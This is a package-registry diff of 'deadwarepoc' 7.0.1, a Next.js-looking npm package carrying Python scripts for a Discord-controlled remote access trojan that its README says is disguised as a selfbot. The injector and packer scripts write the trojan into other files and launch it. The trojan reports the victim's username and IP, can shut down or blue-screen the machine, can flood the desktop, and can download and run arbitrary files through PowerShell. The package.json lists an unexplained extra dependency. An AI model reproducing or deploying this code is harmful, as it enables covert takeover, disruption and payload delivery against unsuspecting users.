deadwarepoc 7.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of deadwarepoc might be problematic. Click here for more details.
- package/.eslintrc.json +3 -0
- package/DEADCORD/Builder.py +13 -0
- package/DEADCORD/config.json +6 -0
- package/DEADCORD/deadcord.py +1032 -0
- package/INJECTION/Injection.py +275 -0
- package/PACKER/Packer.py +270 -0
- package/README.md +39 -0
- package/next.config.mjs +4 -0
- package/package.json +31 -0
- package/postcss.config.js +6 -0
- package/public/next.svg +1 -0
- package/public/vercel.svg +1 -0
- package/src/app/favicon.ico +0 -0
- package/src/app/globals.css +33 -0
- package/src/app/layout.tsx +22 -0
- package/src/app/page.tsx +113 -0
- package/tailwind.config.ts +20 -0
- package/tsconfig.json +26 -0
|
@@ -0,0 +1,275 @@
|
|
|
1
|
+
from colorama import Fore, init
|
|
2
|
+
import os, time, getpass
|
|
3
|
+
|
|
4
|
+
user = getpass.getuser()
|
|
5
|
+
|
|
6
|
+
init()
|
|
7
|
+
|
|
8
|
+
user = getpass.getuser()
|
|
9
|
+
path = f'C:\\Users\{user}'
|
|
10
|
+
|
|
11
|
+
os.chdir(path)
|
|
12
|
+
|
|
13
|
+
file = 'WindowsSystem.pyw'
|
|
14
|
+
|
|
15
|
+
os.system('cls')
|
|
16
|
+
|
|
17
|
+
time.sleep(1)
|
|
18
|
+
|
|
19
|
+
with open(f'{file}' , 'w') as f:
|
|
20
|
+
f.write('''
|
|
21
|
+
### IMPORTS ###
|
|
22
|
+
import ctypes
|
|
23
|
+
import asyncio
|
|
24
|
+
import datetime
|
|
25
|
+
from ipaddress import ip_address
|
|
26
|
+
import json
|
|
27
|
+
import os
|
|
28
|
+
import random
|
|
29
|
+
import string
|
|
30
|
+
from textwrap import dedent
|
|
31
|
+
from turtle import color
|
|
32
|
+
import urllib.parse
|
|
33
|
+
import urllib.request
|
|
34
|
+
import time
|
|
35
|
+
from urllib import parse, request
|
|
36
|
+
from bs4 import BeautifulSoup as bs4
|
|
37
|
+
import discord
|
|
38
|
+
import requests
|
|
39
|
+
from PIL import Image
|
|
40
|
+
from colorama import Fore, init
|
|
41
|
+
from discord import Permissions
|
|
42
|
+
from discord.ext import commands
|
|
43
|
+
from discord.utils import get
|
|
44
|
+
import multiprocessing
|
|
45
|
+
from win32api import *
|
|
46
|
+
from win32gui import *
|
|
47
|
+
from win32con import *
|
|
48
|
+
from win32file import *
|
|
49
|
+
import getpass, pyautogui
|
|
50
|
+
|
|
51
|
+
def GetIP():
|
|
52
|
+
ip = requests.get("https://api.ipify.org").text
|
|
53
|
+
return ip
|
|
54
|
+
|
|
55
|
+
def RandomColor():
|
|
56
|
+
randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
|
|
57
|
+
return randcolor
|
|
58
|
+
|
|
59
|
+
Deadware = commands.Bot(description='Deadware', command_prefix='d!', bot=True)
|
|
60
|
+
Deadware.remove_command('help')
|
|
61
|
+
loop = asyncio.get_event_loop()
|
|
62
|
+
|
|
63
|
+
@Deadware.event
|
|
64
|
+
async def on_ready():
|
|
65
|
+
channel = Deadware.get_channel(935607961424887849) #CHANGE THIS
|
|
66
|
+
user = getpass.getuser()
|
|
67
|
+
embed = discord.Embed(title='[+] Deadware Connection!', description='You have a new connection', colour=RandomColor())
|
|
68
|
+
embed.add_field(name=f'User: {user}', value='** **', inline=False)
|
|
69
|
+
embed.add_field(name='IP: ' + GetIP(), value='** **', inline=False)
|
|
70
|
+
|
|
71
|
+
await channel.send(embed=embed)
|
|
72
|
+
|
|
73
|
+
@Deadware.event
|
|
74
|
+
async def on_command_error(ctx, error):
|
|
75
|
+
if isinstance(error, commands.CommandNotFound):
|
|
76
|
+
await ctx.send('Command not found!')
|
|
77
|
+
elif isinstance(error, commands.MissingRequiredArgument):
|
|
78
|
+
await ctx.send('Missing argument!')
|
|
79
|
+
|
|
80
|
+
@Deadware.command()
|
|
81
|
+
async def test_con(ctx):
|
|
82
|
+
await ctx.message.delete()
|
|
83
|
+
user = getpass.getuser()
|
|
84
|
+
await ctx.send(f'Current Users: {user}')
|
|
85
|
+
|
|
86
|
+
@Deadware.command()
|
|
87
|
+
async def create_file(ctx, *, filename : str = None):
|
|
88
|
+
await ctx.message.delete()
|
|
89
|
+
if filename is None:
|
|
90
|
+
await ctx.send('No file name given!')
|
|
91
|
+
else:
|
|
92
|
+
user = getpass.getuser()
|
|
93
|
+
os.system(f"echo Hello there :) {user} > {filename}.txt")
|
|
94
|
+
await ctx.send(f'Created file {filename}.txt')
|
|
95
|
+
|
|
96
|
+
@Deadware.command()
|
|
97
|
+
async def start_process(ctx, *, process):
|
|
98
|
+
await ctx.message.delete()
|
|
99
|
+
try:
|
|
100
|
+
os.system(f'start {process}')
|
|
101
|
+
await ctx.send(f'Started process {process}')
|
|
102
|
+
except Exception:
|
|
103
|
+
await ctx.send(f'Could not start {process}')
|
|
104
|
+
|
|
105
|
+
@Deadware.command()
|
|
106
|
+
async def computer_shutdown(ctx):
|
|
107
|
+
await ctx.message.delete()
|
|
108
|
+
try:
|
|
109
|
+
os.system('shutdown /s')
|
|
110
|
+
await ctx.send("Shutdown PC")
|
|
111
|
+
except:
|
|
112
|
+
await ctx.send('Could not shutdown computer')
|
|
113
|
+
|
|
114
|
+
@Deadware.command()
|
|
115
|
+
async def deadware_bomb(ctx):
|
|
116
|
+
await ctx.message.delete()
|
|
117
|
+
user = getpass.getuser()
|
|
118
|
+
try:
|
|
119
|
+
os.system(f'cd C://Users/{user}/Desktop & mkdir deadware')
|
|
120
|
+
os.system(f'cd C://Users/{user}/Desktop/deadware & echo Hello there {user} > Note.txt')
|
|
121
|
+
while True:
|
|
122
|
+
os.system('start notepad.exe')
|
|
123
|
+
except Exception:
|
|
124
|
+
await ctx.send('Could not bomb computer')
|
|
125
|
+
|
|
126
|
+
@Deadware.command()
|
|
127
|
+
async def help(ctx):
|
|
128
|
+
await ctx.message.delete()
|
|
129
|
+
await ctx.send('test_con - tests connection')
|
|
130
|
+
await ctx.send('create_file - creates a file')
|
|
131
|
+
await ctx.send('start_process - starts process')
|
|
132
|
+
await ctx.send('computer_shutdown - shuts down computer')
|
|
133
|
+
await ctx.send('deadware_bomb - messes with computer')
|
|
134
|
+
await ctx.send('start_typing - opens notepad and types message')
|
|
135
|
+
await ctx.send('get_ip - gets machine IP')
|
|
136
|
+
await ctx.send('end_task - ends a task')
|
|
137
|
+
await ctx.send('get_tasks - gets current processes running')
|
|
138
|
+
await ctx.send('get_netstat - gets netstat output')
|
|
139
|
+
await ctx.send('blue_screen - forces a temp BSOD')
|
|
140
|
+
await ctx.send('error_drawing - starts cursor drawing')
|
|
141
|
+
await ctx.send('upload - uplaods a file and runs it')
|
|
142
|
+
await ctx.send('cwd - gets currenct working directory')
|
|
143
|
+
await ctx.send('dir - lists folders in directory')
|
|
144
|
+
await ctx.send('ext_search <file extention> - searches for file with extention')
|
|
145
|
+
await ctx.send('change_dir <folder> - changes file directory')
|
|
146
|
+
await ctx.send('kill_deadware - stops deadware')
|
|
147
|
+
|
|
148
|
+
|
|
149
|
+
@Deadware.command()
|
|
150
|
+
async def start_typing(ctx, *, msg):
|
|
151
|
+
await ctx.message.delete()
|
|
152
|
+
user = getpass.getuser()
|
|
153
|
+
try:
|
|
154
|
+
os.system('start notepad.exe')
|
|
155
|
+
time.sleep(1)
|
|
156
|
+
pyautogui.typewrite(msg)
|
|
157
|
+
await ctx.send("Success")
|
|
158
|
+
except Exception:
|
|
159
|
+
await ctx.send('Could not start typing')
|
|
160
|
+
|
|
161
|
+
@Deadware.command()
|
|
162
|
+
async def get_ip(ctx):
|
|
163
|
+
await ctx.message.delete()
|
|
164
|
+
try:
|
|
165
|
+
await ctx.send('IP: ' + GetIP())
|
|
166
|
+
except Exception:
|
|
167
|
+
await ctx.send('Could not get IP')
|
|
168
|
+
|
|
169
|
+
@Deadware.command()
|
|
170
|
+
async def end_task(ctx, *, task):
|
|
171
|
+
await ctx.message.delete()
|
|
172
|
+
try:
|
|
173
|
+
os.system('taskkill /im ' + task + ' /f')
|
|
174
|
+
await ctx.send(f'Stopped {task}')
|
|
175
|
+
except Exception:
|
|
176
|
+
await ctx.send(f'Could not stop {task}')
|
|
177
|
+
|
|
178
|
+
@Deadware.command()
|
|
179
|
+
async def get_tasks(ctx):
|
|
180
|
+
await ctx.message.delete()
|
|
181
|
+
try:
|
|
182
|
+
os.system('tasklist > C://ProgramData/taskdata.txt')
|
|
183
|
+
await ctx.send(file=discord.File(r'C://ProgramData/taskdata.txt'))
|
|
184
|
+
os.remove('C://ProgramData/taskdata.txt')
|
|
185
|
+
except Exception:
|
|
186
|
+
await ctx.send('Could not list tasks')
|
|
187
|
+
|
|
188
|
+
@Deadware.command()
|
|
189
|
+
async def get_netstat(ctx):
|
|
190
|
+
await ctx.message.delete()
|
|
191
|
+
try:
|
|
192
|
+
os.system('netstat -an > C://ProgramData/netstatdata.txt')
|
|
193
|
+
await ctx.send(file=discord.File(r'C://ProgramData/netstatdata.txt'))
|
|
194
|
+
except Exception:
|
|
195
|
+
await ctx.send('Cannot get netstat')
|
|
196
|
+
|
|
197
|
+
@Deadware.command()
|
|
198
|
+
async def blue_screen(ctx):
|
|
199
|
+
await ctx.message.delete()
|
|
200
|
+
try:
|
|
201
|
+
__import__("os").system("taskkill /F /IM svchost.exe")
|
|
202
|
+
await ctx.send("Blue Screened!")
|
|
203
|
+
except Exception:
|
|
204
|
+
await ctx.send("Could not blue screen")
|
|
205
|
+
|
|
206
|
+
from random import randrange as rd
|
|
207
|
+
@Deadware.command()
|
|
208
|
+
async def error_drawing(ctx):
|
|
209
|
+
await ctx.message.delete()
|
|
210
|
+
try:
|
|
211
|
+
IconWarning = LoadIcon(None, 32515)
|
|
212
|
+
IconError = LoadIcon(None, 32513)
|
|
213
|
+
sw,sh = (GetSystemMetrics(0), GetSystemMetrics(1))
|
|
214
|
+
HDC = GetDC(0)
|
|
215
|
+
mouseX,mouseY = GetCaretPos()
|
|
216
|
+
while True:
|
|
217
|
+
DrawIcon(HDC, rd(sw), rd(sh), IconWarning)
|
|
218
|
+
for i in range(0, 60):
|
|
219
|
+
mouseX,mouseY = GetCursorPos()
|
|
220
|
+
DrawIcon(HDC, mouseX, mouseY, IconError)
|
|
221
|
+
time.sleep(10)
|
|
222
|
+
except Exception:
|
|
223
|
+
await ctx.send("Could not do error drawing")
|
|
224
|
+
|
|
225
|
+
import subprocess
|
|
226
|
+
@Deadware.command()
|
|
227
|
+
async def upload(ctx, *, url, file_name):
|
|
228
|
+
await ctx.message.delete()
|
|
229
|
+
subprocess.call(f'C:\Windows\System32\powershell.exe Invoke-WebRequest -Uri {url} -OutFile .\{file_name}; .\{file_name}', shell=True)
|
|
230
|
+
|
|
231
|
+
@Deadware.command()
|
|
232
|
+
async def kill_deadware(ctx):
|
|
233
|
+
await ctx.message.delete()
|
|
234
|
+
try:
|
|
235
|
+
await ctx.send('Stopped Deadware')
|
|
236
|
+
exit()
|
|
237
|
+
except Exception:
|
|
238
|
+
await ctx.send('Could not stop Deadware')
|
|
239
|
+
|
|
240
|
+
@Deadware.command()
|
|
241
|
+
async def cwd(ctx):
|
|
242
|
+
await ctx.message.delete()
|
|
243
|
+
cwd = os.getcwd()
|
|
244
|
+
await ctx.send(f'```{cwd}```')
|
|
245
|
+
|
|
246
|
+
import glob
|
|
247
|
+
@Deadware.command()
|
|
248
|
+
async def dir(ctx):
|
|
249
|
+
directory = glob.glob('*/')
|
|
250
|
+
await ctx.message.delete()
|
|
251
|
+
for dirs in directory:
|
|
252
|
+
await ctx.send(dirs)
|
|
253
|
+
|
|
254
|
+
@Deadware.command()
|
|
255
|
+
async def ext_search(ctx, *, ext):
|
|
256
|
+
await ctx.message.delete()
|
|
257
|
+
file_type = glob.glob(f'*{ext}')
|
|
258
|
+
for files in file_type:
|
|
259
|
+
await ctx.send(files)
|
|
260
|
+
|
|
261
|
+
@Deadware.command()
|
|
262
|
+
async def change_dir(ctx, *, dir):
|
|
263
|
+
await ctx.message.delete()
|
|
264
|
+
os.chdir(dir)
|
|
265
|
+
await ctx.send(f'Changed directory')
|
|
266
|
+
|
|
267
|
+
loop.create_task(Deadware.start('BOT-TOKEN-HERE')) #CHANGE THIS
|
|
268
|
+
|
|
269
|
+
try:
|
|
270
|
+
loop.run_forever()
|
|
271
|
+
except:
|
|
272
|
+
loop.stop()''')
|
|
273
|
+
|
|
274
|
+
time.sleep(1)
|
|
275
|
+
os.system(f'start {file}')
|
package/PACKER/Packer.py
ADDED
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
from colorama import Fore, init
|
|
2
|
+
import os, time
|
|
3
|
+
|
|
4
|
+
init()
|
|
5
|
+
|
|
6
|
+
file = input('File to pack: ')
|
|
7
|
+
|
|
8
|
+
os.system('cls')
|
|
9
|
+
|
|
10
|
+
print(f'{Fore.GREEN}[+]{Fore.WHITE} Starting to pack {Fore.RED}{file}')
|
|
11
|
+
time.sleep(1)
|
|
12
|
+
|
|
13
|
+
os.system('cls')
|
|
14
|
+
|
|
15
|
+
with open(f'{file}' , 'a') as f:
|
|
16
|
+
f.write('''
|
|
17
|
+
### IMPORTS ###
|
|
18
|
+
import ctypes
|
|
19
|
+
import asyncio
|
|
20
|
+
import datetime
|
|
21
|
+
from ipaddress import ip_address
|
|
22
|
+
import json
|
|
23
|
+
import os
|
|
24
|
+
import random
|
|
25
|
+
import string
|
|
26
|
+
from textwrap import dedent
|
|
27
|
+
from turtle import color
|
|
28
|
+
import urllib.parse
|
|
29
|
+
import urllib.request
|
|
30
|
+
import time
|
|
31
|
+
from urllib import parse, request
|
|
32
|
+
from bs4 import BeautifulSoup as bs4
|
|
33
|
+
import discord
|
|
34
|
+
import requests
|
|
35
|
+
from PIL import Image
|
|
36
|
+
from colorama import Fore, init
|
|
37
|
+
from discord import Permissions
|
|
38
|
+
from discord.ext import commands
|
|
39
|
+
from discord.utils import get
|
|
40
|
+
import multiprocessing
|
|
41
|
+
from win32api import *
|
|
42
|
+
from win32gui import *
|
|
43
|
+
from win32con import *
|
|
44
|
+
from win32file import *
|
|
45
|
+
import getpass, pyautogui
|
|
46
|
+
|
|
47
|
+
def GetIP():
|
|
48
|
+
ip = requests.get("https://api.ipify.org").text
|
|
49
|
+
return ip
|
|
50
|
+
|
|
51
|
+
def RandomColor():
|
|
52
|
+
randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
|
|
53
|
+
return randcolor
|
|
54
|
+
|
|
55
|
+
Deadware = commands.Bot(description='Deadware', command_prefix='d!', bot=True)
|
|
56
|
+
Deadware.remove_command('help')
|
|
57
|
+
loop = asyncio.get_event_loop()
|
|
58
|
+
|
|
59
|
+
@Deadware.event
|
|
60
|
+
async def on_ready():
|
|
61
|
+
channel = Deadware.get_channel(935607961424887849) #CHANGE THIS
|
|
62
|
+
user = getpass.getuser()
|
|
63
|
+
embed = discord.Embed(title='[+] Deadware Connection!', description='You have a new connection', colour=RandomColor())
|
|
64
|
+
embed.add_field(name=f'User: {user}', value='** **', inline=False)
|
|
65
|
+
embed.add_field(name='IP: ' + GetIP(), value='** **', inline=False)
|
|
66
|
+
|
|
67
|
+
await channel.send(embed=embed)
|
|
68
|
+
|
|
69
|
+
@Deadware.event
|
|
70
|
+
async def on_command_error(ctx, error):
|
|
71
|
+
if isinstance(error, commands.CommandNotFound):
|
|
72
|
+
await ctx.send('Command not found!')
|
|
73
|
+
elif isinstance(error, commands.MissingRequiredArgument):
|
|
74
|
+
await ctx.send('Missing argument!')
|
|
75
|
+
|
|
76
|
+
@Deadware.command()
|
|
77
|
+
async def test_con(ctx):
|
|
78
|
+
await ctx.message.delete()
|
|
79
|
+
user = getpass.getuser()
|
|
80
|
+
await ctx.send(f'Current Users: {user}')
|
|
81
|
+
|
|
82
|
+
@Deadware.command()
|
|
83
|
+
async def create_file(ctx, *, filename : str = None):
|
|
84
|
+
await ctx.message.delete()
|
|
85
|
+
if filename is None:
|
|
86
|
+
await ctx.send('No file name given!')
|
|
87
|
+
else:
|
|
88
|
+
user = getpass.getuser()
|
|
89
|
+
os.system(f"echo Hello there :) {user} > {filename}.txt")
|
|
90
|
+
await ctx.send(f'Created file {filename}.txt')
|
|
91
|
+
|
|
92
|
+
@Deadware.command()
|
|
93
|
+
async def start_process(ctx, *, process):
|
|
94
|
+
await ctx.message.delete()
|
|
95
|
+
try:
|
|
96
|
+
os.system(f'start {process}')
|
|
97
|
+
await ctx.send(f'Started process {process}')
|
|
98
|
+
except Exception:
|
|
99
|
+
await ctx.send(f'Could not start {process}')
|
|
100
|
+
|
|
101
|
+
@Deadware.command()
|
|
102
|
+
async def computer_shutdown(ctx):
|
|
103
|
+
await ctx.message.delete()
|
|
104
|
+
try:
|
|
105
|
+
os.system('shutdown /s')
|
|
106
|
+
await ctx.send("Shutdown PC")
|
|
107
|
+
except:
|
|
108
|
+
await ctx.send('Could not shutdown computer')
|
|
109
|
+
|
|
110
|
+
@Deadware.command()
|
|
111
|
+
async def deadware_bomb(ctx):
|
|
112
|
+
await ctx.message.delete()
|
|
113
|
+
user = getpass.getuser()
|
|
114
|
+
try:
|
|
115
|
+
os.system(f'cd C://Users/{user}/Desktop & mkdir deadware')
|
|
116
|
+
os.system(f'cd C://Users/{user}/Desktop/deadware & echo Hello there {user} > Note.txt')
|
|
117
|
+
while True:
|
|
118
|
+
os.system('start notepad.exe')
|
|
119
|
+
except Exception:
|
|
120
|
+
await ctx.send('Could not bomb computer')
|
|
121
|
+
|
|
122
|
+
@Deadware.command()
|
|
123
|
+
async def help(ctx):
|
|
124
|
+
await ctx.message.delete()
|
|
125
|
+
await ctx.send('test_con - tests connection')
|
|
126
|
+
await ctx.send('create_file - creates a file')
|
|
127
|
+
await ctx.send('start_process - starts process')
|
|
128
|
+
await ctx.send('computer_shutdown - shuts down computer')
|
|
129
|
+
await ctx.send('deadware_bomb - messes with computer')
|
|
130
|
+
await ctx.send('start_typing - opens notepad and types message')
|
|
131
|
+
await ctx.send('get_ip - gets machine IP')
|
|
132
|
+
await ctx.send('end_task - ends a task')
|
|
133
|
+
await ctx.send('get_tasks - gets current processes running')
|
|
134
|
+
await ctx.send('get_netstat - gets netstat output')
|
|
135
|
+
await ctx.send('blue_screen - forces a temp BSOD')
|
|
136
|
+
await ctx.send('error_drawing - starts cursor drawing')
|
|
137
|
+
await ctx.send('upload - uplaods a file and runs it')
|
|
138
|
+
await ctx.send('cwd - gets currenct working directory')
|
|
139
|
+
await ctx.send('dir - lists folders in directory')
|
|
140
|
+
await ctx.send('ext_search <file extention> - searches for file with extention')
|
|
141
|
+
await ctx.send('change_dir <folder> - changes file directory')
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
@Deadware.command()
|
|
145
|
+
async def start_typing(ctx, *, msg):
|
|
146
|
+
await ctx.message.delete()
|
|
147
|
+
user = getpass.getuser()
|
|
148
|
+
try:
|
|
149
|
+
os.system('start notepad.exe')
|
|
150
|
+
time.sleep(1)
|
|
151
|
+
pyautogui.typewrite(msg)
|
|
152
|
+
await ctx.send("Success")
|
|
153
|
+
except Exception:
|
|
154
|
+
await ctx.send('Could not start typing')
|
|
155
|
+
|
|
156
|
+
@Deadware.command()
|
|
157
|
+
async def get_ip(ctx):
|
|
158
|
+
await ctx.message.delete()
|
|
159
|
+
try:
|
|
160
|
+
await ctx.send('IP: ' + GetIP())
|
|
161
|
+
except Exception:
|
|
162
|
+
await ctx.send('Could not get IP')
|
|
163
|
+
|
|
164
|
+
@Deadware.command()
|
|
165
|
+
async def end_task(ctx, *, task):
|
|
166
|
+
await ctx.message.delete()
|
|
167
|
+
try:
|
|
168
|
+
os.system('taskkill /im ' + task + ' /f')
|
|
169
|
+
await ctx.send(f'Stopped {task}')
|
|
170
|
+
except Exception:
|
|
171
|
+
await ctx.send(f'Could not stop {task}')
|
|
172
|
+
|
|
173
|
+
@Deadware.command()
|
|
174
|
+
async def get_tasks(ctx):
|
|
175
|
+
await ctx.message.delete()
|
|
176
|
+
try:
|
|
177
|
+
os.system('tasklist > C://ProgramData/taskdata.txt')
|
|
178
|
+
await ctx.send(file=discord.File(r'C://ProgramData/taskdata.txt'))
|
|
179
|
+
os.remove('C://ProgramData/taskdata.txt')
|
|
180
|
+
except Exception:
|
|
181
|
+
await ctx.send('Could not list tasks')
|
|
182
|
+
|
|
183
|
+
@Deadware.command()
|
|
184
|
+
async def get_netstat(ctx):
|
|
185
|
+
await ctx.message.delete()
|
|
186
|
+
try:
|
|
187
|
+
os.system('netstat -an > C://ProgramData/netstatdata.txt')
|
|
188
|
+
await ctx.send(file=discord.File(r'C://ProgramData/netstatdata.txt'))
|
|
189
|
+
except Exception:
|
|
190
|
+
await ctx.send('Cannot get netstat')
|
|
191
|
+
|
|
192
|
+
@Deadware.command()
|
|
193
|
+
async def blue_screen(ctx):
|
|
194
|
+
await ctx.message.delete()
|
|
195
|
+
try:
|
|
196
|
+
__import__("os").system("taskkill /F /IM svchost.exe")
|
|
197
|
+
await ctx.send("Blue Screened!")
|
|
198
|
+
except Exception:
|
|
199
|
+
await ctx.send("Could not blue screen")
|
|
200
|
+
|
|
201
|
+
from random import randrange as rd
|
|
202
|
+
@Deadware.command()
|
|
203
|
+
async def error_drawing(ctx):
|
|
204
|
+
await ctx.message.delete()
|
|
205
|
+
try:
|
|
206
|
+
IconWarning = LoadIcon(None, 32515)
|
|
207
|
+
IconError = LoadIcon(None, 32513)
|
|
208
|
+
sw,sh = (GetSystemMetrics(0), GetSystemMetrics(1))
|
|
209
|
+
HDC = GetDC(0)
|
|
210
|
+
mouseX,mouseY = GetCaretPos()
|
|
211
|
+
while True:
|
|
212
|
+
DrawIcon(HDC, rd(sw), rd(sh), IconWarning)
|
|
213
|
+
for i in range(0, 60):
|
|
214
|
+
mouseX,mouseY = GetCursorPos()
|
|
215
|
+
DrawIcon(HDC, mouseX, mouseY, IconError)
|
|
216
|
+
time.sleep(10)
|
|
217
|
+
except Exception:
|
|
218
|
+
await ctx.send("Could not do error drawing")
|
|
219
|
+
|
|
220
|
+
import subprocess
|
|
221
|
+
@Deadware.command()
|
|
222
|
+
async def upload(ctx, *, url, file_name):
|
|
223
|
+
await ctx.message.delete()
|
|
224
|
+
subprocess.call(f'C:\Windows\System32\powershell.exe Invoke-WebRequest -Uri {url} -OutFile .\{file_name}; .\{file_name}', shell=True)
|
|
225
|
+
|
|
226
|
+
@Deadware.command()
|
|
227
|
+
async def kill_deadware(ctx):
|
|
228
|
+
await ctx.message.delete()
|
|
229
|
+
try:
|
|
230
|
+
await ctx.send('Stopped Deadware')
|
|
231
|
+
exit()
|
|
232
|
+
except Exception:
|
|
233
|
+
await ctx.send('Could not stop Deadware')
|
|
234
|
+
|
|
235
|
+
@Deadware.command()
|
|
236
|
+
async def cwd(ctx):
|
|
237
|
+
await ctx.message.delete()
|
|
238
|
+
cwd = os.getcwd()
|
|
239
|
+
await ctx.send(f'```{cwd}```')
|
|
240
|
+
|
|
241
|
+
import glob
|
|
242
|
+
@Deadware.command()
|
|
243
|
+
async def dir(ctx):
|
|
244
|
+
directory = glob.glob('*/')
|
|
245
|
+
await ctx.message.delete()
|
|
246
|
+
for dirs in directory:
|
|
247
|
+
await ctx.send(dirs)
|
|
248
|
+
|
|
249
|
+
@Deadware.command()
|
|
250
|
+
async def ext_search(ctx, *, ext):
|
|
251
|
+
await ctx.message.delete()
|
|
252
|
+
file_type = glob.glob(f'*{ext}')
|
|
253
|
+
for files in file_type:
|
|
254
|
+
await ctx.send(files)
|
|
255
|
+
|
|
256
|
+
@Deadware.command()
|
|
257
|
+
async def change_dir(ctx, *, dir):
|
|
258
|
+
await ctx.message.delete()
|
|
259
|
+
os.chdir(dir)
|
|
260
|
+
await ctx.send(f'Changed directory')
|
|
261
|
+
|
|
262
|
+
loop.create_task(Deadware.start('BOT-TOKEN-HERE')) #CHANGE THIS
|
|
263
|
+
|
|
264
|
+
try:
|
|
265
|
+
loop.run_forever()
|
|
266
|
+
except:
|
|
267
|
+
loop.stop()''')
|
|
268
|
+
|
|
269
|
+
print(f'{Fore.GREEN}[+] {Fore.WHITE}Finished packing Deadware into {Fore.RED}{file}')
|
|
270
|
+
input("")
|
package/README.md
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
# Deadware PoC
|
|
2
|
+
Deadware is a RAT disguised as a fully functioning Selfbot. It uses a Discord server and bot as a C&C while the `deadcord.py` being the payload. The command prefix for the bot is `d!` and for the selfbot it is `.`
|
|
3
|
+
|
|
4
|
+
Deadware will consantly be updated as the project is a work in progress. Updates are to be released at least once every 2 weeks. If there is any bugs, please let me know so I can make a fix.
|
|
5
|
+
|
|
6
|
+
Special thanks too `mte0` for contributing to the script!
|
|
7
|
+
|
|
8
|
+
## How to setup
|
|
9
|
+
1. Create a Discord Bot in the [Discord developer portal](https://discord.com/developers/applications)
|
|
10
|
+
2. In `deadcord.py` replace the details at line 17 and 18 (with your channel id, and your bot token)
|
|
11
|
+
3. Compile `deadcord.py` with pyinstaller. I would suggest using the following command in step 4 or you can run the `Builder.py` for speed
|
|
12
|
+
4. `pyinstaller deadcord.py --onefile --uac-admin`
|
|
13
|
+
|
|
14
|
+
## Deadware Info
|
|
15
|
+
`Packer.py` will inject the Deadware code into another python file.
|
|
16
|
+
`Injection.py` will create a new file in the Program Data directory and then run `Deadware.` Note that this payload will need to have python installed on the system.
|
|
17
|
+
|
|
18
|
+
As mentioned, Deadware is disguised as a selfbot called `DeadCord` which is a fully functioning selfbot with over 75 commands. However, the real commands are in the Deadware bot. The following list is the up to date commands:
|
|
19
|
+
|
|
20
|
+
* check <token> - returns state and details of a discord token (using https://utilities.tk)
|
|
21
|
+
* test_con - tests connection
|
|
22
|
+
* create_file <filename> - creates a file
|
|
23
|
+
* start_process <process> - starts process
|
|
24
|
+
* computer_shutdown - shuts down computer
|
|
25
|
+
* deadware_bomb - messes with computer
|
|
26
|
+
* get_token - gets selfbot token
|
|
27
|
+
* start_typing <message> - opens notepad and types message
|
|
28
|
+
* get_ip - gets machine IP
|
|
29
|
+
* end_task <task> - ends a task
|
|
30
|
+
* get_tasks - gets current processes running
|
|
31
|
+
* get_netstat - gets netstat output
|
|
32
|
+
* blue_screen - forces a temp BSOD
|
|
33
|
+
* error_drawing - starts cursor drawing
|
|
34
|
+
* upload <uri> <filename> - uplaods a file and runs it
|
|
35
|
+
* cwd - gets currenct working directory
|
|
36
|
+
* dir - lists folders in directory
|
|
37
|
+
* ext_search <file extention> - searches for file with extention
|
|
38
|
+
* change_dir <folder> - changes file directory
|
|
39
|
+
|
package/next.config.mjs
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "deadwarepoc",
|
|
3
|
+
"version": "7.0.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"dev": "next dev",
|
|
6
|
+
"build": "next build",
|
|
7
|
+
"start": "next start",
|
|
8
|
+
"lint": "next lint"
|
|
9
|
+
},
|
|
10
|
+
"dependencies": {
|
|
11
|
+
"biarbi": "^1.2.1",
|
|
12
|
+
"next": "14.1.3",
|
|
13
|
+
"react": "^18",
|
|
14
|
+
"react-dom": "^18"
|
|
15
|
+
},
|
|
16
|
+
"devDependencies": {
|
|
17
|
+
"@types/node": "^20",
|
|
18
|
+
"@types/react": "^18",
|
|
19
|
+
"@types/react-dom": "^18",
|
|
20
|
+
"autoprefixer": "^10.0.1",
|
|
21
|
+
"eslint": "^8",
|
|
22
|
+
"eslint-config-next": "14.1.3",
|
|
23
|
+
"postcss": "^8",
|
|
24
|
+
"tailwindcss": "^3.3.0",
|
|
25
|
+
"typescript": "^5"
|
|
26
|
+
},
|
|
27
|
+
"main": "postcss.config.js",
|
|
28
|
+
"author": "",
|
|
29
|
+
"license": "ISC",
|
|
30
|
+
"description": "Deadware is a RAT disguised as a fully functioning Selfbot. It uses a Discord server and bot as a C&C while the `deadcord.py` being the payload. The command prefix for the bot is `d!` and for the selfbot it is `.`"
|
|
31
|
+
}
|
package/public/next.svg
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 394 80"><path fill="#000" d="M262 0h68.5v12.7h-27.2v66.6h-13.6V12.7H262V0ZM149 0v12.7H94v20.4h44.3v12.6H94v21h55v12.6H80.5V0h68.7zm34.3 0h-17.8l63.8 79.4h17.9l-32-39.7 32-39.6h-17.9l-23 28.6-23-28.6zm18.3 56.7-9-11-27.1 33.7h17.8l18.3-22.7z"/><path fill="#000" d="M81 79.3 17 0H0v79.3h13.6V17l50.2 62.3H81Zm252.6-.4c-1 0-1.8-.4-2.5-1s-1.1-1.6-1.1-2.6.3-1.8 1-2.5 1.6-1 2.6-1 1.8.3 2.5 1a3.4 3.4 0 0 1 .6 4.3 3.7 3.7 0 0 1-3 1.8zm23.2-33.5h6v23.3c0 2.1-.4 4-1.3 5.5a9.1 9.1 0 0 1-3.8 3.5c-1.6.8-3.5 1.3-5.7 1.3-2 0-3.7-.4-5.3-1s-2.8-1.8-3.7-3.2c-.9-1.3-1.4-3-1.4-5h6c.1.8.3 1.6.7 2.2s1 1.2 1.6 1.5c.7.4 1.5.5 2.4.5 1 0 1.8-.2 2.4-.6a4 4 0 0 0 1.6-1.8c.3-.8.5-1.8.5-3V45.5zm30.9 9.1a4.4 4.4 0 0 0-2-3.3 7.5 7.5 0 0 0-4.3-1.1c-1.3 0-2.4.2-3.3.5-.9.4-1.6 1-2 1.6a3.5 3.5 0 0 0-.3 4c.3.5.7.9 1.3 1.2l1.8 1 2 .5 